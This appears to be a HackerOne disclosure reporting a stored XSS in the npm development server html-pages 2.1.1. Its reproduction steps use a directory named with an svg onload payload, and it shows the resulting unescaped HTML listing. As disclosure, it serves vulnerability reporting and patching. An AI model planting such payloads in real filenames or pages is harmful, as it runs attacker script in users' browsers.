Node.js third-party modules: [html-pages] Stored XSS in the filename when directories listing

2018-03-2713:52:58

tungpun

hackerone.com

0.001 Low

EPSS

Percentile

37.5%

JSON

I would like to report a Store XSS vulnerability in html-pages
It allows executing malicious javascript code in the user’s browser.

Module

module name: html-pagesversion:2.1.1npm page: https://www.npmjs.com/package/html-pages

Module Description

Simple development http server for file serving and directory listing made by a Designer. Use it for hacking your HTML/JavaScript/CSS files, but not for deploying your final site.

Vulnerability

Steps To Reproduce:

Install the module:
$ npm install html-pages
On the working directory, create a new child directory with name: "><svg onload=alert(5);>
Start the server:
$ ./node_modules/html-pages/bin/index.js -p 6060
Go to http://127.0.0.1:6060/, then click on the directory "><svg onload=alert(5);>
or open http://127.0.0.1:6060/%22%3E%3Csvg%20onload=alert(5);%3E/ directly, the XSS popup will fire:

{F279119}

Vulnerability Description

This issue happens because of the lack of path sanitization.

HTML output:

&lt;!DOCTYPE html&gt;
&lt;html lang="en"&gt;
  &lt;head&gt;
    &lt;meta charset="utf-8"&gt;
    &lt;meta http-equiv="x-ua-compatible" content="ie=edge"&gt;
    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" /&gt;
    &lt;title&gt;Files within nodejs-example/"&gt;&lt;svg onload=alert(5);&gt;&lt;/title&gt;
    &lt;meta name="description" content=""&gt;
    &lt;link rel="stylesheet" href="/@html-pages-internal-files-hoihj6ey0qu/css/style.css"&gt;
    &lt;link rel="stylesheet" href="/@html-pages-internal-files-hoihj6ey0qu/css/component.css"&gt;
    &lt;link rel="stylesheet" href="/@html-pages-internal-files-hoihj6ey0qu/css/loader.css"&gt;
    &lt;link rel="icon" type="image/svg+xml" href="/@html-pages-internal-files-hoihj6ey0qu/images/logo.svg"&gt;
  &lt;/head&gt;

  &lt;body&gt;
    <header>
      <div>
        <nav>
          <ol>
              <li>
                <a href="/">nodejs-example</a>
              </li>
              <li>
                <span>"&gt;&lt;svg onload=alert(5);&gt;</span>
              </li>
          </ol>
        </nav>

[...]